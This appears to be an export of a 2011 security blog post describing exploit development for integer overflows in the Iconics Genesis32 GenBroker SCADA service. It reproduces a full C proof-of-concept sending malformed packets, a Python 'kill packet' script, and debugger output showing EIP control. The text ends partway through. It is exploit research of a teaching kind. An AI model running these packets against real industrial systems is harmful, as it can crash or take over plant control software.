{"id":7332,"date":"2011-07-27T00:05:00","date_gmt":"2011-07-26T22:05:00","guid":{"rendered":"https:\/\/www.corelan.be\/?p=7332"},"modified":"2011-07-27T00:05:00","modified_gmt":"2011-07-26T22:05:00","slug":"metasploit-bounty-the-good-the-bad-and-the-ugly","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2011\/07\/27\/metasploit-bounty-the-good-the-bad-and-the-ugly\/","title":{"rendered":"Metasploit Bounty - the Good, the Bad and the Ugly"},"content":{"rendered":"\n<h2>Introduction<\/h2>\n<h3>Metasploit Bounty program<\/h3>\n<p>On June 14, 2011&nbsp; HD Moore announced the <a href=\"https:\/\/community.rapid7.com\/community\/metasploit\/blog\/2011\/06\/14\/metasploit-exploit-bounty-30-exploits-500000-in-5-weeks\" target=\"_blank\" rel=\"noopener\">Metasploit Bounty<\/a> contest,&nbsp; offering a cash incentive for specific vulnerabilities to be submitted as modules in the <a title=\"Metasploit Framework\" href=\"http:\/\/www.metasploit.com\/\">Metasploit Framework<\/a>.&nbsp; Titled <em>\"30 exploits, $5000 in 5 weeks\"<\/em>,&nbsp; <a href=\"https:\/\/community.rapid7.com\/docs\/DOC-1467\" target=\"_blank\" rel=\"noopener\">a post<\/a> on the <a href=\"http:\/\/www.rapid7.com\/\" target=\"_blank\" rel=\"noopener\">Rapid7<\/a> blog lists the 30 \"bounties\" selected by the MSF team, waiting for someone to claim and submit a working exploit module.<\/p>\n<p>Each exploit for a vulnerability listed in the top 5 list was worth USD $500, the other 25 exploits were worth USD $100 each. The deadline to submit a functional Metasploit module, bypassing ASLR and DEP where applicable, was set to July 20th.<\/p>\n<p>Sounds like fun, so I decided to give it a try and claimed one of the vulnerabilities from the top 25 list.<\/p>\n<p>The bounty contest <a href=\"https:\/\/community.rapid7.com\/community\/metasploit\/blog\/2011\/07\/21\/draft-metasploit-bounty-the-end\" target=\"_blank\" rel=\"noopener\">is now closed<\/a> , so I decided to share my version of the \"code, sweat and tears\" that were required to produce a reliable exploit.<\/p>\n<p>&nbsp;<\/p>\n<h2>Vulnerability<\/h2>\n<h3>Initial discovery<\/h3>\n<p>The challenge I selected is based on <a href=\"http:\/\/aluigi.org\/adv.htm\" target=\"_blank\" rel=\"noopener\">a series of vulnerabilities<\/a> (13! advisories) discovered by Luigi Auriemma, in Iconics Genesis32 (&lt;= 9.21) and Genesis64 (&lt;= 10.51). For the record, my exploit targets Genesis32. The Iconics website states :<\/p>\n<p><em>For 32-bit platforms, ICONICS is committed to providing product improvements and added functionality to the GENESIS32 suite of HMI\/SCADA and advanced visualization solutions for many years to come. With GENESIS32 and GENESIS64, ICONICS connects your plant-level operations to the enterprise, turning your real-time data into competitive advantage.<\/em><\/p>\n<p>Genesis is a HMI (Human Machine Interface) application, typically used to visualize data and provide a GUI to operators to monitor and manage various processes.<\/p>\n<p>The advisory reports that the GenBroker service, running on tcp port 38080, is vulnerable to an integer overflow during the handling of opcodes 3f0, 138F,1390,1391,1392,1393,1394, 1C86, 89a,89b, 450,451,454,455, 1C20,1C24.<\/p>\n<p>According to some of the report, when using a specially crafted packet, you can influence the size of a memory allocation needed for the creation of an array, resulting in memory corruption.<\/p>\n<p>&nbsp;<\/p>\n<h3>The vulnerable function<\/h3>\n<p>Let's take a quick look at the vulnerable code in <a href=\"http:\/\/aluigi.org\/adv\/genesis_4-adv.txt\" target=\"_blank\" rel=\"noopener\">one of the advisories<\/a>:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0044AC26  |.  E8 45C5FCFF   CALL 00417170             ; get 32bit\n0044AC2B  |.  8B45 00       MOV EAX,DWORD PTR SS:[EBP]\n0044AC2E  |.  C1E0 02       SHL EAX,2                 ; * 4\n0044AC31  |.  50            PUSH EAX\n0044AC32  |.  E8 81C50500   CALL &lt;JMP.&amp;MFC71U.<span style=\"color: #008000\">#265&gt; ; malloc<\/span>\n...\n0044AC95  |.  8B47 28       MOV EAX,DWORD PTR DS:[EDI+28]\n0044AC98  |.  C1E0 02       SHL EAX,2                 ; * 4\n0044AC9B  |.  50            PUSH EAX\n0044AC9C  |.  C74424 20 020&gt;MOV DWORD PTR SS:[ESP+20],2\n0044ACA4  |.  E8 0FC50500   CALL &lt;JMP.&amp;MFC71U.<span style=\"color: #008000\">#265&gt; ; malloc<\/span>\n...\n0044ACE9  |&gt;  8B47 30       MOV EAX,DWORD PTR DS:[EDI+30]\n0044ACEC  |.  C1E0 02       SHL EAX,2                 ; * 4\n0044ACEF  |.  50            PUSH EAX\n0044ACF0  |.  E8 C3C40500   CALL &lt;JMP.&amp;MFC71U.<span style=\"color: #008000\">#265&gt; ; malloc<\/span><\/pre>\n<p>Apparently no check is performed on the value read from the packet before multiplying it and using it as an argument to malloc() functions. This leads to memory corruption, which can lead to code execution. Up to me to prove that code execution is possible and reliable.<\/p>\n<p>&nbsp;<\/p>\n<h3>Obtaining &amp; installing the software<\/h3>\n<p>One of the most heard comment from other msf bounty hunters was that it didn\u2019t seem to be trivial to obtain a copy of the vulnerable version of the application (or even \u2018a\u2019 copy of the application for that matter), my case was no exception.&nbsp; But luckily, I was able to get my hands on it, and managed to perform a default installation on my VM.<\/p>\n<p>The installer drops files in 3 locations :<\/p>\n<ul>\n<li>C:\\Program Files\\ICONICS : files related with the Licensing component <\/li>\n<li>C:\\Program Files\\Common Files\\ICONICS : application\/service files <\/li>\n<li>C:\\Windows\\System32 : TraceWorX.dll and GenClientU.dll <\/li>\n<\/ul>\n<p>During the installation, I was prompted to either select an existing administrator user or to create a new one (ICONICS_USER) and have it added automatically to the administrators group. This account is used to run the genbroker.exe service.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image15.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb13.png\" width=\"240\" height=\"122\"><\/a><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image16.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb14.png\" width=\"240\" height=\"103\"><\/a><\/p>\n<p>&nbsp;<\/p>\n<h3>PoC - triggering the overflow<\/h3>\n<p>The advisory contains a link to <a href=\"http:\/\/aluigi.org\/poc\/genesis_iof.zip\" target=\"_blank\" rel=\"noopener\">a zip file<\/a>, which contains the following source code, providing poc packets for 12 cases :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #008000\">\/* by Luigi Auriemma *\/<\/span>\n\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdint.h&gt;\n#include &lt;<span style=\"color: #0000ff\">time<\/span>.h&gt;\n\n#ifdef WIN32\n    #include &lt;winsock.h&gt;\n    #include \"<span style=\"color: #8b0000\">winerr.h<\/span>\"\n\n    #define <span style=\"color: #0000ff\">close<\/span>   closesocket\n    #define sleep   Sleep\n    #define ONESEC  1000\n#<span style=\"color: #0000ff\">else<\/span>\n    #include &lt;unistd.h&gt;\n    #include &lt;sys\/socket.h&gt;\n    #include &lt;sys\/types.h&gt;\n    #include &lt;arpa\/inet.h&gt;\n    #include &lt;netinet\/in.h&gt;\n    #include &lt;netdb.h&gt;\n\n    #define ONESEC  1\n#endif\n\n<span style=\"color: #0000ff\">typedef<\/span> uint8_t     u8;\n<span style=\"color: #0000ff\">typedef<\/span> uint16_t    u16;\n<span style=\"color: #0000ff\">typedef<\/span> uint32_t    u32;\n\n#define VER         \"<span style=\"color: #8b0000\">0.1<\/span>\"\n#define PORT        38080\n#define BUFFSZ      0x2000  <span style=\"color: #008000\">\/\/ 0x4000 is the max but 0x2000 seems more compatible<\/span>\n\n<span style=\"color: #0000ff\">int<\/span> send_gen(<span style=\"color: #0000ff\">int<\/span> sd, <span style=\"color: #0000ff\">int<\/span> type, u8 *data, <span style=\"color: #0000ff\">int<\/span> datasz);\n<span style=\"color: #0000ff\">int<\/span> putss(u8 *data, u8 *str);\n<span style=\"color: #0000ff\">int<\/span> putmm(u8 *data, u8 *str, <span style=\"color: #0000ff\">int<\/span> size);\n<span style=\"color: #0000ff\">int<\/span> putcc(u8 *data, <span style=\"color: #0000ff\">int<\/span> chr, <span style=\"color: #0000ff\">int<\/span> size);\n<span style=\"color: #0000ff\">int<\/span> putxx(u8 *data, u32 num, <span style=\"color: #0000ff\">int<\/span> bits);\n<span style=\"color: #0000ff\">int<\/span> timeout(<span style=\"color: #0000ff\">int<\/span> sock, <span style=\"color: #0000ff\">int<\/span> secs);\nu32 resolv(<span style=\"color: #0000ff\">char<\/span> *host);\n<span style=\"color: #0000ff\">void<\/span> std_err(<span style=\"color: #0000ff\">void<\/span>);\n\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc, <span style=\"color: #0000ff\">char<\/span> *argv[]) {\n    <span style=\"color: #0000ff\">struct<\/span>  linger  ling = {1,1};\n    <span style=\"color: #0000ff\">struct<\/span>  sockaddr_in peer;\n    <span style=\"color: #0000ff\">int<\/span>     sd,\n            i,\n            bug,\n            type;\n    u16     port    = PORT;\n    u8      *host,\n            *buff,\n            *fill,\n            *p,\n            *f;\n\n#ifdef WIN32\n    WSADATA    wsadata;\n    WSAStartup(MAKEWORD(1,0), &amp;wsadata);\n#endif\n\n    setbuf(stdout, NULL);\n\n    fputs(\"<span style=\"color: #8b0000\">\\n<\/span>\"\n        \"<span style=\"color: #8b0000\">GenBroker &lt;= 9.21.201.01 multiple integer overflows <\/span>\"VER\"<span style=\"color: #8b0000\">\\n<\/span>\"\n        \"<span style=\"color: #8b0000\">by Luigi Auriemma\\n<\/span>\"\n        \"<span style=\"color: #8b0000\">e-mail: aluigi@autistici.org\\n<\/span>\"\n        \"<span style=\"color: #8b0000\">web: aluigi.org\\n<\/span>\"\n        \"<span style=\"color: #8b0000\">\\n<\/span>\", stdout);\n\n    <span style=\"color: #0000ff\">if<\/span>(argc &lt; 3) {\n        <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">\\n<\/span>\"\n            \"<span style=\"color: #8b0000\">Usage: %s &lt;bug&gt; &lt;host&gt; [port(%d)]\\n<\/span>\"\n            \"<span style=\"color: #8b0000\">\\n<\/span>\"\n            \"<span style=\"color: #8b0000\">Bugs:\\n<\/span>\"\n            \"<span style=\"color: #8b0000\"> refer to the relative advisories for the available numbers\\n<\/span>\"\n            \"<span style=\"color: #8b0000\"> and what vulnerabilities they test\\n<\/span>\"\n            \"<span style=\"color: #8b0000\">\\n<\/span>\", argv[0], port);\n        <span style=\"color: #0000ff\">exit<\/span>(1);\n    }\n\n    bug  = <span style=\"color: #0000ff\">atoi<\/span>(argv[1]);\n    host = argv[2];\n    <span style=\"color: #0000ff\">if<\/span>(argc &gt; 3) port = <span style=\"color: #0000ff\">atoi<\/span>(argv[3]);\n\n    peer.sin_addr.s_addr = resolv(host);\n    peer.sin_port        = htons(port);\n    peer.sin_family      = AF_INET;\n\n    <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">- target %s : %hu\\n<\/span>\", inet_ntoa(peer.sin_addr), port);\n\n    buff = <span style=\"color: #0000ff\">malloc<\/span>(BUFFSZ);\n    <span style=\"color: #0000ff\">if<\/span>(!buff) std_err();\n\n    p = buff;\n    <span style=\"color: #0000ff\">switch<\/span>(bug) {\n        <span style=\"color: #0000ff\">case<\/span> 1: {\n            type = 0x89a;\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0x2000, 16);\n            p += putxx(p, 0x20000001, 32);\n            p += putxx(p, 0, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 2: {\n            type = 0x453;\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 16);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 3: {\n            type = 0x4b0;\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 4: {\n            type = 0x4b2;\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 5: {\n            type = 0x4b5;\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 6: {\n            type = 0x7d0;\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 7: {\n            type = 0xDAE;\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 8: {\n            type = 0xfa4;\n            p += putxx(p, 0x20000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 9: {\n            type = 0xfa7;\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 10: {\n            type = 0x1bbc;\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putxx(p, 0, 32);\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 11: {\n            type = 0x1c84;\n            p += putss(p, NULL);\n            p += putss(p, NULL);\n            p += putxx(p, 0, 32);\n            p += putxx(p, 0x10000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">case<\/span> 12: {\n            type = 0x26AC;\n            p += putxx(p, 0x40000001, 32);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n        <span style=\"color: #0000ff\">default<\/span>: {\n            <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">\\nError: invalid bug number %d\\n<\/span>\", bug);\n            <span style=\"color: #0000ff\">exit<\/span>(1);\n            <span style=\"color: #0000ff\">break<\/span>;\n        }\n    }\n\n    p += putcc(p, 0x41, BUFFSZ - (p - buff));   <span style=\"color: #008000\">\/\/ good as string size too<\/span>\n    <span style=\"color: #008000\">\/\/ send_gen automatically adjusts the size to 0x1ff4<\/span>\n\n    <span style=\"color: #008000\">\/\/ the following part is not needed so can be removed<\/span>\n    <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">- heap spray packets: <\/span>\");\n    fill = <span style=\"color: #0000ff\">malloc<\/span>(BUFFSZ);\n    <span style=\"color: #0000ff\">if<\/span>(!fill) std_err();\n    f = fill;\n    f += putxx(f, 340, 32);\n    f += putss(f, \"<span style=\"color: #8b0000\">parameter<\/span>\");\n    f += putss(f, \"<span style=\"color: #8b0000\">value<\/span>\");\n    <span style=\"color: #0000ff\">for<\/span>(i = 0; i &lt; 340; i++) {\n        f += putss(f, \"<span style=\"color: #8b0000\">AAAA<\/span>\");\n        f += putss(f, \"<span style=\"color: #8b0000\">AAAA<\/span>\");\n        f += putxx(f, 0x41414141, 32);\n        f += putxx(f, 0x41414141, 32);\n        f += putxx(f, 0x41414141, 32);\n    }\n    <span style=\"color: #0000ff\">for<\/span>(i = 0; i &lt; 20; i++) {\n        fputc('.', stdout);\n        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n        <span style=\"color: #0000ff\">if<\/span>(sd &lt; 0) std_err();\n        setsockopt(sd, SOL_SOCKET, SO_LINGER, (<span style=\"color: #0000ff\">char<\/span> *)&amp;ling, <span style=\"color: #0000ff\">sizeof<\/span>(ling));\n        <span style=\"color: #0000ff\">if<\/span>(connect(sd, (<span style=\"color: #0000ff\">struct<\/span> sockaddr *)&amp;peer, <span style=\"color: #0000ff\">sizeof<\/span>(<span style=\"color: #0000ff\">struct<\/span> sockaddr_in)) &lt; 0) std_err();\n        send_gen(sd, 0x4b2, fill, f - fill);\n        <span style=\"color: #0000ff\">close<\/span>(sd);\n    }\n    <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">\\n<\/span>\");\n\n    <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">- malformed packets: <\/span>\");\n    <span style=\"color: #0000ff\">for<\/span>(i = 0; i &lt; 10; i++) {\n        fputc('.', stdout);\n        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n        <span style=\"color: #0000ff\">if<\/span>(sd &lt; 0) std_err();\n        setsockopt(sd, SOL_SOCKET, SO_LINGER, (<span style=\"color: #0000ff\">char<\/span> *)&amp;ling, <span style=\"color: #0000ff\">sizeof<\/span>(ling));\n        <span style=\"color: #0000ff\">if<\/span>(connect(sd, (<span style=\"color: #0000ff\">struct<\/span> sockaddr *)&amp;peer, <span style=\"color: #0000ff\">sizeof<\/span>(<span style=\"color: #0000ff\">struct<\/span> sockaddr_in)) &lt; 0) std_err();\n        send_gen(sd, type, buff, p - buff);\n        <span style=\"color: #0000ff\">close<\/span>(sd);\n    }\n    <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">\\n<\/span>\");\n\n    <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">- done\\n<\/span>\");\n    <span style=\"color: #0000ff\">return<\/span>(0);\n}\n\n<span style=\"color: #0000ff\">int<\/span> send_gen(<span style=\"color: #0000ff\">int<\/span> sd, <span style=\"color: #0000ff\">int<\/span> type, u8 *data, <span style=\"color: #0000ff\">int<\/span> datasz) {\n    <span style=\"color: #0000ff\">static<\/span> u8   buff[BUFFSZ];\n    <span style=\"color: #0000ff\">static<\/span> <span style=\"color: #0000ff\">int<\/span>  pck     = 1;\n    <span style=\"color: #0000ff\">int<\/span>         t;\n    u8          *p;\n\n    t = 4 + 4 + 4 + datasz;\n    <span style=\"color: #0000ff\">if<\/span>(t &gt; (BUFFSZ - 12)) t = BUFFSZ - 12;\n\n    p = buff;\n    p += putxx(p, 1,            16);\n    p += putxx(p, htons(pck++), 16);\n    p += putxx(p, htonl(1),     32);\n    p += putxx(p, htonl(t),     32);\n\n    p += putxx(p, 1,            32);\n    p += putxx(p, 0,            32);\n    p += putxx(p, type,         32);\n    <span style=\"color: #0000ff\">if<\/span>(datasz &gt; 0) p += putmm(p, data, datasz);\n\n    <span style=\"color: #0000ff\">if<\/span>(send(sd, buff, p - buff, 0) &lt; 0) <span style=\"color: #0000ff\">return<\/span>(-1);\n    <span style=\"color: #0000ff\">return<\/span>(0);\n}\n\n<span style=\"color: #0000ff\">int<\/span> putss(u8 *data, u8 *str) {\n    <span style=\"color: #0000ff\">int<\/span>     len;\n    u8      *p;\n\n    len = 0;\n    <span style=\"color: #0000ff\">if<\/span>(str) len = strlen(str);\n\n    p = data;\n    <span style=\"color: #0000ff\">if<\/span>(len &lt; 0xff) {\n        p += putxx(p, len, 8);\n    } <span style=\"color: #0000ff\">else<\/span> {\n        p += putxx(p, 0xff, 8);\n        p += putxx(p, len, 16);\n    }\n    p += putmm(p, str, len);\n    <span style=\"color: #0000ff\">return<\/span>(p - data);\n}\n\n<span style=\"color: #0000ff\">int<\/span> putmm(u8 *data, u8 *str, <span style=\"color: #0000ff\">int<\/span> size) {\n    <span style=\"color: #0000ff\">if<\/span>(size &lt; 0) size = strlen(str);\n    memcpy(data, str, size);\n    <span style=\"color: #0000ff\">return<\/span>(size);\n}\n\n<span style=\"color: #0000ff\">int<\/span> putcc(u8 *data, <span style=\"color: #0000ff\">int<\/span> chr, <span style=\"color: #0000ff\">int<\/span> size) {\n    memset(data, chr, size);\n    <span style=\"color: #0000ff\">return<\/span>(size);\n}\n\n<span style=\"color: #0000ff\">int<\/span> putxx(u8 *data, u32 num, <span style=\"color: #0000ff\">int<\/span> bits) {\n    <span style=\"color: #0000ff\">int<\/span>     i,\n            bytes;\n\n    bytes = bits &gt;&gt; 3;\n    <span style=\"color: #0000ff\">for<\/span>(i = 0; i &lt; bytes; i++) {\n        <span style=\"color: #008000\">\/\/data[i] = num &gt;&gt; ((bytes - 1 - i) &lt;&lt; 3);<\/span>\n        data[i] = num &gt;&gt; (i &lt;&lt; 3);\n    }\n    <span style=\"color: #0000ff\">return<\/span>(bytes);\n}\n\n<span style=\"color: #0000ff\">int<\/span> timeout(<span style=\"color: #0000ff\">int<\/span> sock, <span style=\"color: #0000ff\">int<\/span> secs) {\n    <span style=\"color: #0000ff\">struct<\/span>  timeval tout;\n    fd_set  fd_read;\n\n    tout.tv_sec  = secs;\n    tout.tv_usec = 0;\n    FD_ZERO(&amp;fd_read);\n    FD_SET(sock, &amp;fd_read);\n    <span style=\"color: #0000ff\">if<\/span>(select(sock + 1, &amp;fd_read, NULL, NULL, &amp;tout)\n      &lt;= 0) <span style=\"color: #0000ff\">return<\/span>(-1);\n    <span style=\"color: #0000ff\">return<\/span>(0);\n}\n\nu32 resolv(<span style=\"color: #0000ff\">char<\/span> *host) {\n    <span style=\"color: #0000ff\">struct<\/span>  hostent *hp;\n    u32     host_ip;\n\n    host_ip = inet_addr(host);\n    <span style=\"color: #0000ff\">if<\/span>(host_ip == INADDR_NONE) {\n        hp = gethostbyname(host);\n        <span style=\"color: #0000ff\">if<\/span>(!hp) {\n            <span style=\"color: #0000ff\">printf<\/span>(\"<span style=\"color: #8b0000\">\\nError: Unable to resolv hostname (%s)\\n<\/span>\", host);\n            <span style=\"color: #0000ff\">exit<\/span>(1);\n        } <span style=\"color: #0000ff\">else<\/span> host_ip = *(u32 *)hp-&gt;h_addr;\n    }\n    <span style=\"color: #0000ff\">return<\/span>(host_ip);\n}\n\n#ifndef WIN32\n    <span style=\"color: #0000ff\">void<\/span> std_err(<span style=\"color: #0000ff\">void<\/span>) {\n        perror(\"<span style=\"color: #8b0000\">\\nError<\/span>\");\n        <span style=\"color: #0000ff\">exit<\/span>(1);\n    }\n#endif<\/pre>\n<p>The code provides a PoC overflow for 12 cases. I tried running each case &amp; observed the crashes for each of the cases :<\/p>\n<ul>\n<li>Case 1 : read access violation <\/li>\n<li>Case 2 : read access violation in call [EDX] at 004359E9 (reading 41414141). This might be interesting. <\/li>\n<li>Case 3 : EIP = CCCCCCCC . Very very interesting <\/li>\n<li>Case 4 : read access violation <\/li>\n<li>Case 5 : read access violation <\/li>\n<li>Case 6 : same result as case 2 <\/li>\n<li>Case 7 : read access violation <\/li>\n<li>Case 8 : write access violation (write value we control to location we don't seem to control). Still might be interesting (4 byte arbitrary write ?) <\/li>\n<li>Case 9 : same result as case 8 <\/li>\n<li>Case 10 : read access violation <\/li>\n<li>Case 11 : write access violation (INC instruction, writing to [EAX+10], which we control). <\/li>\n<li>Case 12 : read access violation in call [eax+58]. We control EAX, so this might be very interesting. <\/li>\n<\/ul>\n<p>Based on my observations, I decided to start working on the packet produced by case 3, because it gave us direct control over EIP, we could see pointers to our payload on the stack, and we have at least one register pointing into the payload.&nbsp; Although case 12 also would provide us with direct control over EIP, there are less obvious pointers to payload on the stack.<\/p>\n<p>Summarizing case 3, the packet would need to contain the following specifications.<\/p>\n<ul>\n<li>opcode 0x4b0 <\/li>\n<li>value of 0x40000001 <\/li>\n<li>a bunch of A's <\/li>\n<\/ul>\n<p>Although the POC code contained a \"heap spray\" (basically sending a bunch of packets with A's prior to sending the 'kill' packet), I discovered that loading the payload inside the kill packet allows us to access that payload as well.<\/p>\n<p>A basic python script to reproduce this case, based on sniffing traffic, looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#!\/usr\/bin\/python\n# lincoln - lincoln@corelan.be\n#\n<span style=\"color: #0000ff\">import<\/span> socket,<span style=\"color: #0000ff\">sys<\/span>,struct\n\nheader = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01<\/span>\"\nheader += \"<span style=\"color: #8b0000\">\\x00<\/span>\" * 7\nopcode = \"<span style=\"color: #8b0000\">\\xb0\\x04<\/span>\"\nheader2 = \"<span style=\"color: #8b0000\">\\x00<\/span>\" * 36\nheader3 = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x40<\/span>\"\n\nbuffer = \"<span style=\"color: #8b0000\">A<\/span>\" * 10000\n\npayload = header + opcode + header2 + header3 + buffer\n\n<span style=\"color: #0000ff\">def<\/span> sploit():\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ts.connect(('127.0.0.1', 38080))\n\t<span style=\"color: #0000ff\">print<\/span> \"<span style=\"color: #8b0000\">[+] Kill packet sent!\\n<\/span>\"\n\ts.send(payload)\n\ts.<span style=\"color: #0000ff\">close<\/span>()\n\n<span style=\"color: #0000ff\">if<\/span> __name__ == '<span style=\"color: #0000ff\">__main__<\/span>':\n        try:\n                sploit()\n        except:\n                <span style=\"color: #0000ff\">print<\/span> \"<span style=\"color: #8b0000\">error<\/span>\"\n                <span style=\"color: #0000ff\">sys<\/span>.<span style=\"color: #0000ff\">exit<\/span>(0)<\/pre>\n<p>As explained before, after throwing this packet to the GenBroker.exe service, we call MFC71U.ATL::CSimpleStringT() at 0x7c274B92 and then end up executing 0x7c274BF8 (MFC71U.CAfxStringMgr::Allocate())<\/p>\n<p>After 4 allocations, the code ends up running a routine at 7c25D069 (see later) 2 times.<\/p>\n<p>Next, another series of allocations are made. During the second attempt, in MFC71U.ATL::CSimpleStringT(), we notice that we try to call a function at [EAX+10].<\/p>\n<p>EAX+10 points into a vtable inside mfc71u.dll (contents during normal operation) :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">MFC71U!ATL::CSimpleStringT&lt;wchar_t,1&gt;::Fork+0x1a:\n7c274bac ff5010          call    dword ptr [eax+10h]\n     ds:0023:7c26a150={MFC71U!CAfxStringMgr::Clone (7c274b57)}\n0:005&gt; ln eax+10\n(7c26a140)   MFC71U!CAfxStringMgr::`vftable'+0x10   |\n    (7c26a154)   MFC71U!CAfxStringMgr::`RTTI Complete Object Locator'<\/pre>\n<p>vtable :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">7c274bf8 : mfc71u!CAfxStringMgr::Allocate()\n7c27c9b2 : mfc71u!CAfxStringMgr__Free()\n7c27dc90 : mfc71u!CAfxStringMgr__Reallocate()\n7c274b49 : mfc71u!CAfxStringMgr::GetNilString()\n7c274b57 : mfc71u!CAfxStringMgr::Clone()<\/pre>\n<p>Using our simple packet, using 10000 A's as payload, we seem to have overwritten the pointer to the vtable (EAX) with unicode \"AA\" (part of our payload). At EAX+10 we see \"CC CC CC CC\" (see dump window in the lower left half of the screen)<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image13.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb12.png\" width=\"240\" height=\"116\"><\/a><\/p>\n<p>Obviously, this call leads to EIP control :<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image12.png\"><img loading=\"lazy\" 